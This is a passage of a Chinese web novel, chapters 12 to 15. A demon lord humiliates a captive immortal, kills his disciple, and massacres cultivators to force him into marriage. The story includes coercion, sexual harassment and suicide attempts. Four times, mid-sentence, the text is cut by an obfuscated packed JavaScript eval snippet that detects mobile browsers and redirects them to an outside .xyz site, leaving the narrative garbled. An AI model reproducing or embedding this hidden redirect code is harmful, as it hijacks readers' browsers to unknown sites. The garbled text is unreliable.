“这里是魔族的庆典,你跳这么端庄的舞,是要洗涤我魔族人的心灵吗?” “跳方才我魔族舞女们跳的那种搔首弄姿的舞。”沈砚台指示道。 那些人跳的舞,扭腰抖臀,嘴里还会喊着好哥哥疼疼我,他怎么可能跳! 还是在这么多人的面前跳! 月轻盈恨恨咬牙,瞪着得寸进尺的沈砚台,见他视线和自己对视,知道他不会退让。 月轻盈环顾四下,众人目光里都含着戏谑。 他像是被人扒光的小丑,丢在这大殿中心供人观赏笑谈,观众里,还有他的两个徒弟。 他内心一阵屈辱,眼眶都被逼红了,他唇瓣颤抖,好半晌才发出声音,艰难开口。 “那样的舞,魔尊若是想看,我可以单独跳给你看。” 沈砚台盯着他看了半晌,见他神情紧绷,好似一扯就断,扯开笑,十分恶劣。 “月仙尊该不是想讨好我吧?” 月轻盈浑身一颤,死死咬住了唇瓣,不断汇聚泪水眨动的眼睛暴露了他的心思。 沈砚台低声软语苦恼道:“那怎么行呢,我这里这么多手下,也想见识见识第一仙尊跳卖弄风骚的舞。” “跳!” “跳!!!” “跳跳跳!!!” 魔族人立刻哄闹起来,还有的魔族人已经扭了起来,嘴里唱着好哥哥疼疼我。 月轻盈被这疯狂的一幕,吓得有些惊慌失措,他忽然觉得好冷,便双手抱紧了自己。 他如今的遭遇都是拜沈砚台所赐,可笑的是刚才自己还乞求了他。 月轻盈鼻尖发酸,他所有的委屈和屈辱都是沈砚台给的! “我到底对你做了什么事,你要做到如此地步。” 月轻盈不明白,魔族对正道烧杀抢掠,正道早已无还手之力。 他为何要这么绝。 “没什么,你们本就是阶下囚,我又亦为何拿你们当人看。” 月轻盈一个怔然,忽然醒悟,他不是人,他是魔。 沈砚台见月轻盈无声落泪,轻抿了唇,换了一个舒服的姿势,靠坐在椅子上,软声催促。 “月仙尊快跳啊,可别浪费了大家的欢心。” 月轻盈站在原地不动,就眨着泪眼固执地看着沈砚台。 沈砚台忽然有些烦躁,挥手招那些舞女教导月轻盈。 舞女们的手落在月轻盈的腰上,臀上,期间还坏心眼的撩开了他的衣裳。 “别碰我!”月轻盈抗拒,一掌将那个舞女拍飞。 大殿立刻安静了下来。 沈砚台有些愠怒,“月仙尊真是……” 他的眼睛有些红,他看着不准人靠近的月轻盈,似是头疼,最后他做了一个意想不到的动作。 众人只见一道黑影闪过,停留在月轻盈的身边,接着那些舞女全都被震飞。 月轻盈只觉得眼前一花,不等他反应,他的腰被一只大掌贴上,滚烫的温度让他想逃离。 他的手也被擒住,他挣脱不开,抬眼看向来人,正是沈砚台。 他崩溃怨恨,情绪激动:“你干什么!是想杀了我吗?那便动手啊!” “怎么,不管你徒弟的死活了?” 沈砚台手上用力,身躯比他娇小的月轻盈便紧紧贴在他的胸前,像是能嵌合在他身体里一样。 月轻盈一震,转眸去看小河小宵,他们此刻瞪着眼,眼里都是震惊。 月轻盈感到一阵无力,顿感挫败,无声抽泣,将头无意识埋进沈砚台的怀里,嘴里颤声念叨:“别看我……都别看我……” 他此刻生不如死。 沈砚台抚摸着月轻盈颤抖的身体,嗅着他身上的檀香。 “月仙尊,你可别依赖上我,我可是不是好人。” 月轻盈沉痛闭眼,脸色难看,立刻就要逃走。 沈砚台不给他机会,见他扭动挣扎,更像是得到了玩具一样,更大力的将他控制起来。 “额……” 月轻盈痛呼,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762313|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的腰被沈砚台的手掌折出了一个要勒断的弧度。 “这是在干什么!” 忽然一道暴怒的声音在大殿响彻。 众人齐齐将视线从粘在一起的月轻盈和沈砚台身上身上挪开,定睛在说话的人身上。 “真是伤风败俗,我原以为月仙尊穿着暴露出现在大殿是被威胁,可是眼前这一幕分明是他和魔族的人在纠缠不清!” “月轻盈,你真是丢尽了我们正道人士的颜面!” 句句怒骂听在月轻盈的耳朵里,犹如刀子插心,他缓缓抬眼看去,这人原是正道人士江源,还算颇有名望。 江源一开口,其他正道人士也跟着贬低嘲讽月轻盈的放浪形骸,不知廉耻。 月轻盈茫然四顾,脸色煞白。 沈砚台挑眉回到了自己座位上。 小河小宵龇目欲裂,与这些正道即是对的老顽固一派的人士们争吵。 “你们都别瞎说,仙尊是为了我们二人!”小河青筋爆起,身上涌现出了磅礴的仙气。 “哼,我看分明是你们被骗了,他假借是为了你们的借口,公然与这魔族畜牲调情!” “月仙尊容貌绝佳,他想用这一副脸去勾引魔尊自保,不也是一个手段!” “哼,事关生死,谁不贪生怕死?” “你们……你们这些老东西,我不准你们污蔑师尊!” 小河和小宵哪里争得过这些活了上千年,思想根深蒂固的老派修士,两个人气的脸红脖子粗。 小宵气急,释放出强大的仙气,“我跟你们拼了,不准你们诋毁仙尊!” “小宵!” 小宵虽说天资聪颖,但毕竟经历少,仙气仙力的凝聚也没有这些人深厚,定是不敌他们。 “都别说了!” 月轻盈反应过来,急急喊了出来。 他看着对他怒目而视的正道人士,眼里有愧疚,看着小河小宵,对他们微笑安抚。 他对上江源的视线,垂眸自嘲道:“江老说得对,我配不上仙尊的名讳,今日我自愿解印。” 解印后月轻盈便会失去天道的庇佑,被抽去一层天骨,届时他与普通修士无异,身死即道消。 “仙尊!”小河急切呼喊。 “仙尊,不要!”小宵大哭起来。 12. 第12章 天骨,是天道胸前的其中一根肋骨。 得天骨的人便是天选之子。 从一出生就天赋极高,修炼速度超凡脱境,更有身负庇佑苍生的大任。 毫不夸张的说,有天骨,修炼的尽头便是神。 然而,这天骨却是极不好抽取。 天骨附着在修士的仙骨中,要抽取天骨,需要先破开仙骨。 修士体内刚好符合天骨附着的仙骨,便是修士的脊骨。 抽取时,一个手抖都会使一个修士一生的修为消失殆尽。 而抽骨时,皮肉分离,骨肉分离,那其中的痛苦非常人能忍受。 月轻盈亦不能。 他只是施法,稍稍破开了自己的仙骨,已是疼得满头大汗,几次欲放弃。 可是想到先前他放弃万物苍生,选择了救下两个徒弟,那时候他就已经没有资格在做第一仙尊了。 他有私心,庇佑不了苍生,亦不配得万物仰仗。 他咬咬牙,继续忍着痛苦,逐寸逐寸破开仙骨,很快他就成了一个血人。 “仙尊,求你,住手,不要再继续下去了!”小宵哭的涕泪横流,挣扎着要去往月轻盈的身边。 “仙尊,你这是何苦啊!”小河亦是泪流满面,快要晕厥过去。 “我……无碍……不要哭……” 月轻盈脸色苍白,满头满脸都是汗水,身体不受控制地开始痉挛,逐渐变地虚弱。 他的身后是大片血泊,片刻后,血色里隐隐溢出来一点点灿金色,那是天骨现世起端倪的征兆。 沈砚台坐在上首,观其下方众人百态神情,忽然发现一个有意思的事。 月轻盈的徒儿真情实意,哭的肝肠寸断。 而那些正道人士却是在看见那一抹灿金色时,眼里露出了贪婪。 他是魔尊,自然懂的他们口中的解印是什么意思,也知道天骨的存在。 只不过他是魔,正道的东西他不能用,可惜了。 只是正道的东西他也不想给正道人士用。 他见还在抽天骨,不顾及自己已然是个血人,浑身虚脱,奄奄一息的月轻盈,眼里起了波澜。 “不是说的跳舞吗,怎么玩起了开膛破肚?” 众人一愣,看向坐在上首眼眸幽暗的男人,这才反应过来,他才是这里的主宰。 下一秒,众人只觉得眼前一花,就见沈砚台出现在月轻盈的身边。 此时的月轻盈早已虚脱,无半分力气继续抽天骨,他见沈砚台靠近,嘲讽一笑。 “你若是……若是用了天骨,怕不是会灰飞烟灭……” “本尊何曾说过要这个鸡肋玩意了?” 魔族人心中大为震撼,咦,魔尊你不要这玩意,那你还接近那么危险的东西干什么! 正道人士亦很紧张,得天骨者便是第一仙尊,未来神袛! “那你要干什么……”月轻盈失血过多,眼前一片眩晕,说话也有气无力。 “这是本尊的大殿,本尊的庆典,不杀生不见血。” 什么意思? 众人疑惑。 沈砚台给出了解答。 他伸出手,释放出魔力,将那天骨又给按了回去,月轻盈毫无还手之力,只能眼睁睁看着天骨复又埋进他的仙骨,呆愣愣的看着沈砚台为他疗伤。 半晌后,他空洞的眼睛变地有神,对沈砚台怒目而视:“你羞辱我羞辱的还不够吗!” 沈砚台耸肩,“此话何意?” 月轻盈眼里绪起了泪水,“你是在嘲笑我如今连想做一件事的自由都没有了吗?” “先不说这个,你的舞还没有跳完。”沈砚台说完话就要走,衣角被扯住了。 他转头,居高临下看着月轻盈柔软的发顶,听他颤抖着声音,缓缓启唇。 “我若是跳了那风骚的舞,你便不要再干涉我取天骨的事。” 沈砚台看着月轻盈充满伤愁的眉眼,看着他卷长睫毛下凝着的泪水,毫不留情扯出衣角。 “那要看月仙尊的表现了。” 月轻盈抬手抹去泪水,身躯不稳的起身。 静立几下后,跳了起来。 柔软的腰身立刻在众人眼前扭转。 他是第一仙尊,天赋超绝,修炼时能做到过目不忘,刚才那几个舞女的舞姿同样他也能全都记住。 他眉眼转动间,看向了沈砚台,眼里是明晃晃的恨意。 他不就是想看自己出丑,不就是想将自己踩入泥潭,他屈服,投降,不忤逆选择顺从,沈砚台还会如何借机伤他? “月仙尊天赋果然极高,舞姿比我们魔族的舞女还要更胜一筹。”沈砚面无表情的夸赞。 月轻盈闻言姿势一个僵硬,落脚还是踩在舞点上。 “哪里来的美人,让小爷好好疼爱一番啊!” “嗝……这香软白腻的身体啊,真是让人眼馋啊!” 月轻盈被打断跳舞,他竟是被几个醉酒的魔族人给缠上了。 “哎呦,这种姿色的美人还是头回见啊。” “瞧瞧这嫣红的小嘴,真想一亲芳泽!” “让我摸摸这腰,真滑啊……” 几个魔族人一拥而上,月轻盈没有防备,差点被他们得逞。 他们那丑陋的嘴脸,肮脏的手脚,都让月轻盈反胃想吐。 “滚开!” 他用仙气将这些魔族人震开,可恢复过来的魔族人很快又反扑过来。 他一时陷进困境。 魔族人看的起劲。 “哈哈哈哈,好看,真好看,第一仙尊今日该在谁手中破身?” “哈哈哈哈,癞蛤蟆那手摸上了第一仙尊的大腿了!” “放开!别过来!” 看着被纠缠怒吼挣扎的月轻盈,小河小宵脸色煞白,遍体生寒。 他们的师尊,仙临山第一仙尊不该被人如此轻看亵玩。 正道人士们脸色铁青,大骂月轻盈淫.荡,丢了正道人士的脸面。 “有这样的第一仙尊,我还不如死了算了!” “我要是他,我就是自戕也不愿意受这侮辱!” “第一仙尊连自己都保护不了,何谈保护我们,不如交出天骨唯我们所用!” “月轻盈真是下贱,自甘堕落!” 月轻盈耳力不错,这些人的交谈声自然落入了他的耳里。 他一个悲伤,分神,竟是被一魔族人推倒跌坐在地。 他此刻六神无主,只喃喃自己不是下贱,疏忽了正在朝他接近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762314|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的危险。 坐在上首的沈砚台看着月轻盈忽然不动了,皱起了眉头。 而这时候,一道怒喝声响起,“沈砚台,不准再欺辱仙尊,你去死!” 沈砚台察觉到有罡风靠近,立刻以十成十的掌力回击。 “噗……”小宵气血翻涌,吐出长长的一口血,如一条断线的风筝飞远再落地。 经此刺杀事件,魔族人立刻变得乖觉,对月轻盈毛手毛脚的几个也缩头藏匿在人群中。 “小……宵?”月轻盈有些反应不过来。 地上那断了手脚,只留身躯与头颅还在的血人,怎么可能是他可爱软甜的小徒弟? “小宵!” 直到听到小河那痛彻心扉的呼喊,月轻盈心口如失了一块,猛然落泪! “小宵!” 月轻盈承受不住,痛呼一声,立刻朝着小宵扑过去。 他看着肢体残缺的小宵,抬手想触碰他,又害怕他会因此变得更加破碎。 “啊……”太过伤心过度,月轻盈说不出话,只能哭喊,心痛的仿佛有人在撕扯他的心脏。 泪水很快模糊他的视线,他看着还在吐血的小宵,一声大过一声凄惨哭嚎。 “仙……咳咳……仙尊……不哭……” 月轻盈悲痛欲绝,一天里连失两徒,加上之前的仙力逆行,伤了根本留下了血泪。 “小……”月轻盈悲伤过度,说不出话,只唇瓣蠕动喊着小宵的名字。 “我们太没用了……”小宵看着哭成了泪人的仙尊,眼里的泪也止不住滑落。 “我们本应该是来帮助仙尊的,怎么……我们反而害了仙尊……让仙尊差点受辱……” 没事的,没事的,月轻盈想说这些话,可是他发不出声音了。 最沉的哀痛会让人失声。 他哭着抬起颤抖的手,抚摸小宵漂亮的脸,他手指摩挲,想擦去他脸上的血污,却怎么也擦不干净。 “仙尊……你别哭……阎王殿里……还……还有小川师兄护着我……” 他提起小川,月轻盈的心更加沉痛,小宵此刻忽然痉挛了起来,口中的血不停翻涌,很快将他淹没。 不要离开我……不要离开我…… 月轻盈嘴巴开合不住说着这几个字,小宵却是在挣扎了几息后,逐渐断了气。 他死了。 他一没了生息,月轻盈也像是跟着他走了,不在哭喊,像是没有了灵魂。 就在众人猜测他是不是出事的时候,他忽然奋起朝着沈砚台攻了过去。 沈砚台眼眸一厉,将月轻盈拍飞了出去。 “你现在理智全无,根本不是我的对手。” “噗……” 月轻盈吐出血,眼里的恨意浓烈到让沈砚台心惊。 “你……”月轻盈开口,断断续续,充满无尽的指责:“你……你答应过我的……答应过我的……不会动小河小宵!不会动小河小宵!” 月轻盈完全丢失仪态,大哭了起来,他的小宵,他的小川,他含辛茹苦一手养大的孩子,怎么就在他的眼皮子底下没了! 是他没有护住他们,是他,都是他,他该死! 月轻盈眼里迸发出求死的光,反掌就要朝自己的天灵盖拍去! 13. 第13章 “月轻盈你是无赖吗!” 早有防备的沈砚台要气死了。 他一脸不善得瞪着月轻盈,死死扣住他的手腕,力气大到能听见骨裂的脆响。 “一遇事就寻死,你不是还有一个徒弟吗!” 月轻盈早已心如死灰,这点疼痛没放在眼里,听到他提起他还有一个徒弟的时候,眼眸闪烁,眼底是无尽的悲伤。 放开我,你这个魔鬼。 月轻盈落泪,怔然的看着小宵的尸体,丝毫没有发现自己只是唇瓣动了,一点声音都没有发出。 沈砚台看着要死觅活的月轻盈,沉沉吸了口气,额角青筋崩了出来。 要不是看他还有解毒的用,他也不会这么费心费力去关注他,救他。 “说话!” 沈砚台现在有些烦躁,盯着小宵的尸体,怎么也没想到自己又杀了月轻盈一个徒弟。 可是这也不怪他,谁让这小东西从旁偷袭他。 反正他只是一个无关紧要的人,死了就死了吧,他只要有月轻盈就好了。 见月轻盈迟迟不出声,沈砚台立刻垂眸看他,却见他不知何时拿出一把匕首就要往自己小腹扎去。 “你……真是!” 沈砚台的眼睛红了起来,手上情不自禁的开始收紧,咔嚓几声响,月轻盈的手腕竟是真的被他捏断! 他一脚踢开月轻盈手中的匕首,压抑着暴怒道:“你到底怎么才能不寻死?” 月轻盈根本听不进去话,只想着一了百了,他是不是就不用忍受丧徒之痛。 见自己几次寻死都被沈砚台阻拦,月轻盈也没了和他周旋的心思,竟是又不知从哪掏出毒药张开嘴就要往里灌。 沈砚台牙齿磨得咯咯响,眉眼低垂,眼眸里是深沉的戾气。 “是你徒弟要杀我,我自保杀了他有错吗!” 他本就是魔,没有七情六欲,更不会懂得手下留情,有危险就反击都成了条件反射。 他看着沉默不语,独自垂泪的月轻盈,眯起眼,他都说到这个份上了,希望他别不识抬举。 月轻盈呵笑一声,竟是抬手,手上运着仙力想将自己打死。 沈砚台气的周身散发出魔力,偏偏他又拿做为解药的月轻盈没有办法。 就在他想着怎么解决这件事的时候,一道兀的声音响起。 “月仙尊想死,便让他死好了,他徒弟的死他有不可推卸的责任。” 老子好不容易说到现在,想要断去月轻盈求死的念头,这狗东西在说什么? 沈砚台抬眼对其怒目而视,见到说话的人眼眸变沉,原是正道人士。 这人他有印象,开口大骂月轻盈不知廉耻的就是他。 想起先前这人在看见天骨时,眼里露出的贪婪,沈砚台的眼里闪过杀意。 “你说什么?” 江源撇了一眼失去生志的月轻盈,眼里闪烁着阴险,嘴上亦说着迷惑人心的话。 “魔尊沈砚台,当年你因屠杀前魔尊以凶残暴虐出名,如今,这第一仙尊都落入了你的手中,你怎么还不动手?” 沈砚台眼眸变得幽暗:“听你的意思,你很想月轻盈去死?” “哼。”江源冷哼,“你看看他现在这副窝囊堕落的样子,想来是无法振作起来,难以再继续担任庇佑苍生的大任。” “你的意思,你这种命不久矣的老头就能担任庇佑苍生的大任了?” 其他正道人士的视线都集中在江源的身上,眼眸里有着愠怒。 江源想打天骨的主意,那算盘声他们都听见了! “我不是这个意思,我们正道还有许多的青年才俊,天赋虽比不上月轻盈,但总有心神坚定的人带我们走上正途。” 沈砚台盯着他看了好一会后,忽然笑了出来,真情实感的笑了出来,甚至笑得肚子都疼了。 不过很快,他笑声收敛,阴恻恻的看着江源,声音如索命恶鬼般骇人。 “”老头,你糊涂了吧?你在我魔族的地盘,说着你们正道人士还有青年才俊带你们走上正途,你……是在挑衅我吗,想我杀光你们所有正道人士吗?” 在场的所有正道人士齐刷刷白了脸。 是啊! 站在他们对面的是以凶残暴虐出名的魔尊! 他们因经受不住天骨的诱惑,竟然天真的以为他很好糊弄。 江源也没想到自己的计谋竟然被沈砚台给识破了。 怪他想要得到天骨的心太急切了,他缓了几息,盯着现在跟痴儿一样的月轻盈,眼里覆盖着一层冷漠。 “沈砚台你杀了月轻盈便是,我正道人士不承认他是我们的仙尊!” “哦?你三番五次催促我杀了他,莫不是就合了你们的心意,让你们抽出他的天骨,唯你们所用是吗?”沈砚台说到最后,声音越发的沉,越发的凉。 他们越是想要月轻盈死,他就越要他活,他想到了一个十分有趣的主意。 江源感受到了些许杀意,脸色的肌肉不受控制的抽动,“你提天骨何意,我们这把年纪了早不做那飞升成神的梦了!” “如此便好。”沈砚台笑眯眯地,眼底没有一丝笑意,强硬的拉扯着月轻盈的胳膊,不顾他摇摇欲坠的身子,高深莫测道。 “我也喜欢天骨,也喜欢月轻盈这张漂亮脸皮,我成为魔尊三万年以来还没有娶过一任妻子, 月轻盈是第一仙尊,我是魔族魔尊,我们门当户对,结为夫妻伴侣,实乃天作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762315|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之合,诸位意下如何?” 话一落音,整个大殿便陷入了死一般的寂静。 魔族人神情迷惑,听不懂,但大概是知道他们要有尊后了。 正道人士脸色如调色盘一样,异常难看。 魔尊沈砚台这一出唱的是什么戏他们不知道! 他们只知道天骨和月轻盈都要被他给收入囊中了,再想取天骨难上加难! 第一仙尊嫁给魔尊,这就是明晃晃的在告诉世人,正不胜邪,简直就是荒谬,滑天下之大稽! 众人眼色交流,想法一致,齐齐将视线落在月轻盈的身上。 他们是对付不了魔尊沈砚台,可是他们能对付得了浑身都是破绽怀有死志的月轻盈! 几乎是在瞬间,这些人就要攻击月轻盈,而沈砚台早已看看穿了他们的想法。 仅是一个挥袖,冲在前面的正道人士噗噗噗成了一团团炸开的血雾。 沈砚台大杀特杀! 在场的正道人士最后被他杀的只剩下七七八八了。 江源到底是活的久一些,老谋深算一些,藏在了最后,看清眼前的变故和局势,他立刻明白过来,这一切都是沈砚台刻意为之! “你为何……” “聒躁!” “噗……” 仅仅是一个眼神,江源就被震慑的直接吐了血,他气势软了下来,看着沈砚台的眼神里带上了畏惧。 “留你们一命,是因为你们还有用处,待会你们别出声,打扰了我的好事,我定让你们魂飞魄散。” 幸运活下来的正道人士们老老实实的留在原地,大气都不敢出。 沈砚台很满意这一切,刚才杀了人撒了火,对月轻盈,态度也柔和了些。 “世人讲究你情我愿,月仙尊如今我要娶你,你可愿意?” 不知道是不是死了两个徒弟,月轻盈伤心垂泪变地十分的漠然,对什么都不在乎。 刚才沈砚台大杀四方他不是没有看见,只是他已经没有多余的精力再去管了。 他心知,沈砚台明面上说的娶他,实际上是借他的手想要羞辱正道人士。 他已经累了,厌倦了,不顾是否会断手从他的钳制中用力抽出手,对他视若无睹,不予回应。 沈砚台脸色沉了下来,耐着性子道:“刚才的话月仙尊许是没听见,那我便再次询问。” “月仙尊可否嫁我,做我魔族的尊后?” 月轻盈这次决然闭上了眼睛。 沈砚台见他这副油盐不进的样子,开始动怒,想起自己接二连三在这人身上碰壁,眼底浮现出狠意! “好,既然月仙尊不回答,那我便杀一人,再问再不答,我便再杀一人,杀到你同意为止!” 14. 第14章 见月轻盈将他视做空气的作态,沈砚台着实恼火。 他目光凶狠一一朝正道人士看过去,见到怀中抱着小宵尸体,神情悲痛的小河时,顿住,迅速掠过。 他眯眼,从人群中找着一位青年才俊,朝他伸出手,对着空中做抓握的动作。 那修士脖颈立刻浮现出被大力掐握凹下去的指痕,人也开始剧烈挣扎,脸涨成了紫红色,眼睛外突,即将爆裂的状态。 沈砚台笑容恶劣的看向月轻盈。 “看啊,月轻盈,这就是你要保护的苍生万物,在我手中不过如鼠蚁,你看啊,他们这挣扎濒死的样子,你难道不担心他们真的会死吗?” 月轻盈怎会听不见那修士进气多出气少的呼吸声,只是他不能再心软,否则这些人都会成为他的软肋。 他会终其一生被沈砚台所控制,他会终其一生见证一条又一条生命在眼前消失。 想到那两个因为他而死去的弟子,月轻盈内心酸涩悲伤不已,再度红了眼眶。 沈砚台已然没了耐心,一个握拳,砰,一声巨响,一团血雾炸开。 一旁的人被波及,鼻尖立刻闻到了血腥味,不知是不是疑心作祟,他们总觉得自己身上还有…… 不敢再深想。 这些正道人士立刻惨白了脸,眼里溢出了泪水,求生的本能让他们开口哀嚎哭求沈砚台绕他们一命。 “魔尊,求求你放过我们,我们是无辜的啊!” “沈砚台,你明明说过你的大殿不杀生不见血!” “沈魔尊,你多杀一条命就会造一层罪孽,你得为你未来成神的道路考虑,放过我们吧,求求你了!” 砰砰砰,数十几道磕头的声音在大殿响起。 沈砚台见他们头都磕破了,鲜血直流的狼狈样,嘴角带上了狞笑。 他狂妄自得的朝月轻盈看去,却见他一脸不为所动,这让沈砚台怀疑,猜忌,最后着恼。 “月轻盈,你少在这里装腔作势!我不信你竟然丝毫不怜悯这些人,丝毫不关心他们的生命!” 砰砰砰,三道惨叫声响,三个正道人士化作接连炸开的血雾。 月轻盈听着越发凄厉,越来越多的惨叫,和鼻端嗅到的越来越浓厚的血腥味,内心沉痛焦急悲伤,却不敢轻举妄动。 他害怕。 害怕沈砚台以后会任意用人的命,随意逼他做他不喜欢的事。 今日这些死掉的修士不是白死的。 他一定会在日后向沈砚台讨回来的! 又是一连串的血雾绽开,想以此来威慑月轻盈的沈砚台,见他还是没有反应后,脸色变得高深莫测了起来。 他侧目看向最后剩下的几个修士,见他们还在磕头朝他求饶,眼眸一闪。 “你们这些人啊,真是愚蠢。” 月轻盈心猛地一跳,万分紧张,掩在长袖下的手紧紧攥成了拳头。 沈砚台,你不要再给我增加更深的罪孽了! 没错过月轻盈轻轻颤抖的眼睫,沈砚台目光深沉,说出来的话却如惑人的鬼魅。 “你们这些想活命的人,愚蠢在什么地方呢,愚蠢在你们该求的人不是我,而是月轻盈才对。” 月轻盈心尖颤抖,脸色煞白,缓缓睁开眼,眸光碎裂,不堪一击。 他缓缓看向沈砚台,眼底猩红,泪水滑落,唇瓣颤抖,无声痛苦质问。 你为什么不愿意放过我! 见他终于将目光投向自己,沈砚台眼瞳一点一点亮了起来,迸发出得逞的精光。 仿佛是受到了启发,那些正道人士看向月轻盈,纷纷惊慌哭嚎着哀求了起来。 “月仙尊,你答应魔尊吧,成为尊后不会亏待你的!” “月仙尊,你可怜可怜我们吧,我们已经死了很多人了。” “月仙尊,你不是庇佑苍生吗,这一次也不要弃我们不顾啊!” 月轻盈鼻尖泛酸,看着朝他乞求的生灵,无能为力,他不敢相信沈砚台。 就算真的嫁给了他,他就不会对正道人士下手了吗? 见月轻盈还不表态,沈砚台气息凝重,但在见他眼里有泪光闪烁,他一愣,胜券在握。 这一次他还是杀了一两个修士,只不过不在急切,而像是在逼月轻盈就范,以玩弄的姿态杀人。 见月轻盈还不松口,见沈砚台还在赶尽杀绝,眼瞅着身边的道友一个个消失。 剩下的修士们许是见自己没有生路,眼里没了求生的光,尽数剩下了对月轻盈和沈砚台的怨和恨。 “月轻盈,你若是早些松口,我弟弟刚才就不会死了!” “是啊,月轻盈,你为了救你的徒弟,什么事都能做,就连身上还带着不洁的痕迹,为什么你不能救救我们?” “看来刚才那些骂你的人骂对了,你月轻盈就是个不知羞耻的贱人!” “哈哈哈,如今我们都要死了,你是不是很开心?” “啊……我知道了,你肯定一早就想我们死,然后才能好心安理得坐上你魔族尊后的大位对不对?” “月轻盈,你不配第一仙尊的名讳,你不配得万物仰仗!” “月轻盈,为什么我们都快要死了,你的徒弟小河还未死?” 这一声声指责和怒骂,月轻盈承受不住,泣不成声,他仙力逆流,哇的吐出血。 沈砚台居高临下看向溃不成军的月轻盈,嘴角开始缓慢的一点点勾起。 他就知道,不论他做什么事就一定会成功。 他就知道月轻盈的伪装维持不了多久。 沈砚台再度问起了月轻盈,“月仙尊,我要娶你,你可还是不愿?” 月轻盈泪眼模糊,抽泣着,唇瓣翕动着,朝沈砚台伸出了手,颤抖着抓紧了他的衣摆,下定决定胡乱点头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762316|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 嫁,我嫁,你不要再杀他们了。 求求你。 他用了很大的力气,沈砚台觉得自己的腰腹部很沉,被他拉扯的衣摆都快被抓碎了。 他低下头去看跪趴着的月轻盈,他柔软的发顶,他曲线好看的背脊线条。 看他抓住他衣摆时,伸出的细瘦的手腕,看他白皙细长的手指蜷起,看他用力时手背青筋崩起的脆弱的弧度。 沈砚台眼眸越来越深,月轻盈终究成为他的囊中物。 既是物,那他就要为他先前三番五次的拒绝他,落了他的面子,做出代价。 他的眼里带上了戏谑和狠意。 他要让月轻盈求着他娶他。 噗……哈哈哈,那个画面肯定很好玩。 沈砚台垂首看着,整个人都在颤抖的月轻盈,恶劣开口。 “月仙尊还是不说话,看来还是不愿嫁我,无妨,我也不是强取豪夺之人,婚姻不成我们还可以做友人。” 月轻盈怔住,不明白这话是什么意思,他缓缓抬头,缓缓露出哭泣的表情。 沈砚台挑眉,“看来你猜到了啊。” 月轻盈摇头,拉扯沈砚台的衣摆,不想让他在杀人。 沈砚台呵笑一声,“晚了。” 伴随着惨叫的砰砰两声,月轻盈呆愣愣的看着炸开的两团血雾,哭的肝肠寸断。 他看向将他们所有人玩弄于指掌间的沈砚台,眼底溢出了绝望。 “不……要……求你……”月轻盈急切,跪着靠近沈砚台,慌乱的抬手抱住了他垂在腿边的双手。 对于他主动得接近,沈砚台很受用,轻声慢哄抛出诱饵。 “怎么了,月仙尊这是主动想求我娶你?” 月轻盈一愣,眼瞳微睁,瞬间明白这人是在报复他。 他心力交瘁,痛不欲生,看着仅剩下的两三个修士,将沈砚台抱的更紧了,眼泪扑漱。 “求……你……”他开口求道,“求你娶我!” 沈砚台终于满意,大手一挥,几朵食灵花飞入那有幸活下来的几个修士体内。 不多时,他们眼底猩红色闪烁,再度被食灵花给蛊惑。 月轻盈见他们活下来,终于也筋疲力尽,松开沈砚台跌坐在地上,脸上的神情尤其恍惚。 “怎么不抱了?” 沈砚台弯下腰靠近月轻盈,嗅着他的檀香味,心情不错。 “既然没了旁人打扰,我们也该讨论我们的婚事了。” 月轻盈抬眼看他,眼圈再度一红,他竟然真的要娶他,不是玩笑,不是戏耍,可这样他却更害怕了。 他不知道他的目的到底是什么。 看他漂亮的眼睛里再度有泪水滑落,沈砚台抬手替他擦去。 “高兴的泣不成声了?” 月轻盈无语凝噎。 “别急,我们很快就会完婚。” 15. 第15章 沈砚台目光逐寸逐寸从月轻盈的脸上划过,看他哭红的眼睛,看他哭红的鼻尖,看他嫣红的唇瓣。 犹还记得,他的唇瓣甜软的滋味,沈砚台凑近亲了一口。 月轻盈眼瞳一震,就要后退,可刚才沈砚台给的报复又让他记忆深刻。 他没有闪躲,只隐忍着,默默流泪,等他亲好了,才猛地侧过头。 